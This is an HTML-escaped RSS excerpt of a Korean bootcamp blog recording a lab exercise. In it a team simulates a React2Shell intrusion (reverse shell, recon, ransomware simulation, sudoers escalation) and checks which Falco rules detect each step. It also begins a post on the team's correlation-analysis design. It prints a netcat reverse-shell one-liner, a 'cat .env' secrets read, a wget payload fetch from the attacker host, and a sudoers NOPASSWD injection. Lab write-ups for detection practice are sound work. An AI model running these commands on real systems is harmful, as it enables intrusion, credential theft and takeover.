loading=&quot;lazy&quot; width=&quot;988&quot; height=&quot;558&quot; data-origin-width=&quot;988&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; &lt;span data-token-index=&quot;0&quot;&gt;공격 시나리오 실행 (step1-2. 초기침투 및 내부정보 수집 )&lt;/span&gt; &lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1768321231754&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;node poc.mjs http://192.168.10.62:3000 &quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc 192.168.10.25 4444 &amp;gt;/tmp/f&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1107&quot; data-origin-height=&quot;325&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kKbNC/dJMcadHtyCk/s2PJRbNfPfKUbJapo4UYIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kKbNC/dJMcadHtyCk/s2PJRbNfPfKUbJapo4UYIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kKbNC/dJMcadHtyCk/s2PJRbNfPfKUbJapo4UYIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkKbNC%2FdJMcadHtyCk%2Fs2PJRbNfPfKUbJapo4UYIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1107&quot; height=&quot;325&quot; data-origin-width=&quot;1107&quot; data-origin-height=&quot;325&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하늘색(즉 첫번째 로그가)내가 설정한 룰인 것 확인 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째 (Hacker Tool Execution)은 기본룰임 - nc를 사용했기 때문에 탐지&lt;/p&gt;
&lt;table id=&quot;fd03416f-9adc-4b2f-9f91-bd978438aa51&quot; style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr id=&quot;90dd7171-b0c2-4fb9-abe0-5a3455cf2b42&quot;&gt;
&lt;td id=&quot;BuuY&quot;&gt;&lt;b&gt;항목&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;M&amp;#96;&amp;#96;;&quot;&gt;&lt;b&gt;로그 1 (커스텀 룰)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;k&amp;#96;Xk&quot;&gt;&lt;b&gt;로그 2 (기본 룰)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;5e7e9c27-e8f5-4dac-9708-d7efc6c78836&quot;&gt;
&lt;td id=&quot;BuuY&quot;&gt;&lt;b&gt;적용 룰&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;M&amp;#96;&amp;#96;;&quot;&gt;Interrupt_RCE_Reverse_Shell&lt;/td&gt;
&lt;td id=&quot;k&amp;#96;Xk&quot;&gt;Hacker Tool Execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;0a0ed5e7-c881-4f4a-95d6-403cfe0e143f&quot;&gt;
&lt;td id=&quot;BuuY&quot;&gt;&lt;b&gt;탐지 명분&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;M&amp;#96;&amp;#96;;&quot;&gt;Node 프로세스가 비정상적인 쉘을 생성함&lt;/td&gt;
&lt;td id=&quot;k&amp;#96;Xk&quot;&gt;시스템에서 위험 도구(nc)가 실행됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;f5f487fd-ece6-4483-a625-0ea375cc1194&quot;&gt;
&lt;td id=&quot;BuuY&quot;&gt;&lt;b&gt;공격 단계&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;M&amp;#96;&amp;#96;;&quot;&gt;&lt;b&gt;[STAGE 1] 초기 침투 및 리버스 쉘&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;k&amp;#96;Xk&quot;&gt;&lt;b&gt;횡적 이동/정보 수집 준비&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;79988c82-ee05-433f-9ac3-6ee3992327d2&quot;&gt;
&lt;td id=&quot;BuuY&quot;&gt;&lt;b&gt;실행 사용자&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;M&amp;#96;&amp;#96;;&quot;&gt;&lt;b&gt;root&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;k&amp;#96;Xk&quot;&gt;&lt;b&gt;root&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;729&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCWbrv/dJMcaiaZexf/xRVYYY2TkqjYvR2TYV6jg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCWbrv/dJMcaiaZexf/xRVYYY2TkqjYvR2TYV6jg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCWbrv/dJMcaiaZexf/xRVYYY2TkqjYvR2TYV6jg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCWbrv%2FdJMcaiaZexf%2FxRVYYY2TkqjYvR2TYV6jg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1377&quot; height=&quot;729&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;729&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 내가 팔코를 6단계에 sed작업을 모두 출력하라 해놔서 좀 민감하게 잡는 문제.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 리버스쉘 공격과는 무관한 우분투 호스트 시스템의 배경작업이 탐지된 전형적인 오탐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 조사를 위해 입력한 기본 값&lt;/p&gt;
&lt;pre id=&quot;code_1768321282955&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;id
pwd 
ls -al
uname -a
cat /etc/os-release
env
cat .env&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1380&quot; data-origin-height=&quot;349&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYZBAx/dJMcaive9ax/WF2LP1f9wHhm9fhjWi9X80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYZBAx/dJMcaive9ax/WF2LP1f9wHhm9fhjWi9X80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYZBAx/dJMcaive9ax/WF2LP1f9wHhm9fhjWi9X80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYZBAx%2FdJMcaive9ax%2FWF2LP1f9wHhm9fhjWi9X80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1380&quot; height=&quot;349&quot; data-origin-width=&quot;1380&quot; data-origin-height=&quot;349&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;7개의 명령어를 다 캐치 못하고 3개만 한 이유?&lt;/li&gt;
&lt;li&gt;&amp;rarr; 커스텀 룰로 다 설정을 안해뒀기 때문&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격 시나리오 실행 (step3. 악성 페이로드 실행)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리에 배포할 랜섬웨어 있는지 확인 (리버스쉘을 통해 칼리에 접속해서 이 ransomware_sim.sh 파일을 다운받을 예정)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BZ91X/dJMb99ZqiSb/pH1YKhzFNM3FKDcVCavtT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BZ91X/dJMb99ZqiSb/pH1YKhzFNM3FKDcVCavtT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BZ91X/dJMb99ZqiSb/pH1YKhzFNM3FKDcVCavtT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBZ91X%2FdJMb99ZqiSb%2FpH1YKhzFNM3FKDcVCavtT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;659&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 python 임시 서버를 열어둬야함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;684&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWfZCu/dJMcabCVlsK/dqNK2KLrngh9TBZmAZWvP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWfZCu/dJMcabCVlsK/dqNK2KLrngh9TBZmAZWvP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWfZCu/dJMcabCVlsK/dqNK2KLrngh9TBZmAZWvP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWfZCu%2FdJMcabCVlsK%2FdqNK2KLrngh9TBZmAZWvP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;684&quot; height=&quot;162&quot; data-origin-width=&quot;684&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 공격 시나리오 용 파일 생성 (이 파일이 저 ransomware.sh 을 통해 암호화 될 예정)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리버스쉘에서 입력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;539&quot; data-origin-height=&quot;69&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xtL6X/dJMcacPm9g7/8RFd5tao1Dz8vsCvLNyXg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xtL6X/dJMcacPm9g7/8RFd5tao1Dz8vsCvLNyXg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xtL6X/dJMcacPm9g7/8RFd5tao1Dz8vsCvLNyXg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxtL6X%2FdJMcacPm9g7%2F8RFd5tao1Dz8vsCvLNyXg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;539&quot; height=&quot;69&quot; data-origin-width=&quot;539&quot; data-origin-height=&quot;69&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 리버스쉘에서 kali에 접속하여&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;1&quot;&gt;ransomware.sh&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 wget 명령어를 통해 다운&lt;/p&gt;
&lt;pre id=&quot;code_1768321401180&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. /tmp 폴더로 이동
cd /tmp

# 2. Kali(192.168.10.25)에서 파일 다운로드
curl -o ransomware_sim.sh http://192.168.10.25/ransomware_sim.sh
#curl이 안되서 wget으로 실행
wget http://192.168.10.25/ransomware_sim.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;822&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nGOxx/dJMcabJIx9z/NyxCUulyTOXQSu6Yrs5DEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nGOxx/dJMcabJIx9z/NyxCUulyTOXQSu6Yrs5DEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nGOxx/dJMcabJIx9z/NyxCUulyTOXQSu6Yrs5DEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnGOxx%2FdJMcabJIx9z%2FNyxCUulyTOXQSu6Yrs5DEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;822&quot; height=&quot;184&quot; data-origin-width=&quot;822&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1379&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lbUnu/dJMcac2SpJC/oVOyDXkqjKGjKCa9e4RNak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lbUnu/dJMcac2SpJC/oVOyDXkqjKGjKCa9e4RNak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lbUnu/dJMcac2SpJC/oVOyDXkqjKGjKCa9e4RNak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlbUnu%2FdJMcac2SpJC%2FoVOyDXkqjKGjKCa9e4RNak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1379&quot; height=&quot;144&quot; data-origin-width=&quot;1379&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 저 랜섬웨어 파일에 권한 부여하고 실행&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;121&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CpH5a/dJMcai9P2pV/HypJtglMjR0B1ntEG2P58k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CpH5a/dJMcai9P2pV/HypJtglMjR0B1ntEG2P58k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CpH5a/dJMcai9P2pV/HypJtglMjR0B1ntEG2P58k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCpH5a%2FdJMcai9P2pV%2FHypJtglMjR0B1ntEG2P58k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1377&quot; height=&quot;121&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;121&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 당연히 실행은 탐지 안되고 권한 부여한것만 탐지됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 랜섬웨어 실행된건지 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;679&quot; data-origin-height=&quot;95&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/be9Ymb/dJMcaaYkmVL/V8aPkQCViK8D3uD2xWE4Yk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/be9Ymb/dJMcaaYkmVL/V8aPkQCViK8D3uD2xWE4Yk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/be9Ymb/dJMcaaYkmVL/V8aPkQCViK8D3uD2xWE4Yk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbe9Ymb%2FdJMcaaYkmVL%2FV8aPkQCViK8D3uD2xWE4Yk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;679&quot; height=&quot;95&quot; data-origin-width=&quot;679&quot; data-origin-height=&quot;95&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격 시나리오 실행 (step4. 권한 상승)&lt;/b&gt;&lt;s&gt;의도적으로 우분투에 SUID 취약점 만들어주기 (윗 부분 토글 보기)&lt;/s&gt;(BusyBox에 SUID 권한은 잘 들어갔지만 busybox 내부의 쉘이 실행될 때 내 권한root랑 실행한 사람node-user가 달라서 권한을 버리게 됨.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 그냥 sudoers 설정을 조작해버리는 방식으로 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; BusyBox의 보안 기능으로 인해 실패.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전의 공격 방식으로 시도하면 안됨.&lt;/p&gt;
&lt;pre id=&quot;code_1768321474490&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;## ubuntu에서 실행
docker exec -u root react2shell-poc-nextjs-1 sh -c &quot;echo 'node-user ALL=(ALL) NOPASSWD: ALL' &amp;gt;&amp;gt; /etc/sudoers&quot;

## 리버스쉘에서 실행 
sudo -n id&lt;/code&gt;&lt;/pre&gt;</description>
      <category>멀티캠퍼스IT부트캠프</category>
      <category>부트캠프후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/32</guid>
      <comments>https://yejiamoe.tistory.com/32#entry32comment</comments>
      <pubDate>Wed, 14 Jan 2026 00:00:06 +0900</pubDate>
    </item>
    <item>
      <title>[토스뱅크 부트캠프] 팀프로젝트 Interrupt 3주차</title>
      <link>https://yejiamoe.tistory.com/31</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1176&quot; data-origin-height=&quot;660&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEFjzp/dJMcaaEeO8z/33b0I2moIJBzVKVikwf6Zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEFjzp/dJMcaaEeO8z/33b0I2moIJBzVKVikwf6Zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEFjzp/dJMcaaEeO8z/33b0I2moIJBzVKVikwf6Zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEFjzp%2FdJMcaaEeO8z%2F33b0I2moIJBzVKVikwf6Zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;281&quot; data-origin-width=&quot;1176&quot; data-origin-height=&quot;660&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요 오랜만이죠..?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜냐면 너무 바빠서 프로젝트가 다 끝난 후에야 제대로 정라하기 시작했습니다ㅋㅋㅋㅋㅋㅋㅋㅋ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(사실 뭐 핑계인데..실제로 좀 바쁘기도 했어요..)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정~~~말 예전일이라 기억이 가물가물한데 잘 살려서 정리해보겠습니다^^&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 저번주까지 기본적인 인프라 설정에 많이 힘을 쏟았습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Zeek와 Arkime을 설치하고 추가로 Elastic APM 까지 설치하였습니다. 음..이 부분은 제가 프로젝트가 다 끝났기 때문에 할 수 있는 말인것 같은데.. 팀을 구성할 때부터 프로젝트 진행 방식에 대해서도 팀원들과 이야기를 많이 해보거나 팀 구성 변동이 불가피한 상황에서는 팀 빌딩 이후에 프로젝트 진행 방식을 이야기 하는게 중요한 것 같습니다. 저희 팀이 조금 아쉬웠던 부분 중 하나인데, 주제는 제대로 정해졌지만 그 세부사항이 정확히 픽스되고 공유되지 않았던 것 같습니다. (저 혼자만의 생각일수도..)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 TMI가 될 수 있지만 기록용이니까..몇자 적어보자면.. 저희조는 인원도 적을 뿐더러 팀원들마다 진행방식 자체에 차이가 있었던것 같습니다. 저는 주제가 정해졌으면 조사를 통해 정말 기초 단계에서부터 자세히 틀을 잡고 가고 싶었는데 그렇게 안하는..? 팀원도 있어서 처음에는 많이 당황했던 것 같습니다. 결국 뭐 그 중간 지점을 찾는게 제일 좋은 것 같긴 합니다. 조사에 너무 치우치진 않게 직접 해가면서 나아가는 느낌이 딱 좋은 것 같긴 합니다. 팀프로젝트다 보니 각 파트별로 역할이 나뉘어질 수 있고, 그에 따라 제가 진행하는 부분은 다른 팀원이 모르고, 다른 팀원이 진행하는 부분은 제가 모를 수도 있습니다.&amp;nbsp; '팀'프로젝트이다 보니 당연한 결과일 것이고 이에 대해 '공유' 하는 시간이 전 중요하다고 생각했습니다. 뭐 회사에 가면 다를 수도 있고 더 중요할 수도 있어서 회사는 어떨지 모르겠지만 특히나 저는 교육에서 팀프로젝트를 진행하는 것이기 때문에 저는 많이 배우고 싶어서 더 원했던 것 같습니다. 뭐...끝까지 이뤄지진 않았습니다..이에 대해서는 흠 저는 충분히 노력해서 의사전달을 했는데 소통이 안된 경우라서 (생략하겠습니다..) 어쨋든 다음에 만약 이런 프로젝트를 하게 된다면 팀빌딩이후 초반 단계에서 다른 팀원들과 충분히 의사소통을 하고 진행을 하고 싶다는 생각을 하게 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;상관분석 설계&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 이런 글을 적게 된 이유도...처음 주제를 1주차에 설명한 것 과 같이 '상관분석'으로 잡았습니다. 저는 이 단계에서 정확히 어느 레벨에서 어떤 데이터들을 출력해서 각 레벨별로 어느 부분을 비교할 것인가를 확실하게 정리하고 진행하고 싶었는데 실현되지 못했던 것 같습니다. 그래서 저 혼자 생각하고 정리하는 스타일이여서 더 불안해서 좀 불만이 생겼던 것 같습니다.. 저희가 React2Shell을 선정한 이유에는 'Zero-day Attack'도 고려한 상황이였습니다. 앞에서 설명한 것과 같이 역직렬화 공격은 네트워크 레벨에서 잡는게 불가능하기 때문에 심층분석을 해야하고 그 방법으로 저희는 상관분석을 선택한 것입니다. (네트워크에서 잡을 수 있는거는 misp등에서 이미 공격IP로 판별되어 차단하는 룰에 걸리는 것이기 때문에 새로운 공격일 경우 소용이 없기 때문) 그래서&amp;nbsp; 상과분석을 하기 위해 Arkime, Zeek, Elastic APM을 이용하는게 어떨까라는 생각을 하였습니다. 여기서 각각의 역할은 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Arkime (전체 패킷 기록)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2plAo/dJMcadVcDXm/ZfQm0Xi1Bqk4MtUKgZwJZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2plAo/dJMcadVcDXm/ZfQm0Xi1Bqk4MtUKgZwJZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2plAo/dJMcadVcDXm/ZfQm0Xi1Bqk4MtUKgZwJZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2plAo%2FdJMcadVcDXm%2FZfQm0Xi1Bqk4MtUKgZwJZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;152&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;공격자가 보낸 payload 보관 역할&lt;/li&gt;
&lt;li&gt;취약점을 뚫기 위해 보낸 특수문자나 바이너리 파일을 나중에 다시 꺼내서 &lt;b&gt;분석&lt;/b&gt;하는 과정에서 사용&lt;/li&gt;
&lt;/ul&gt;
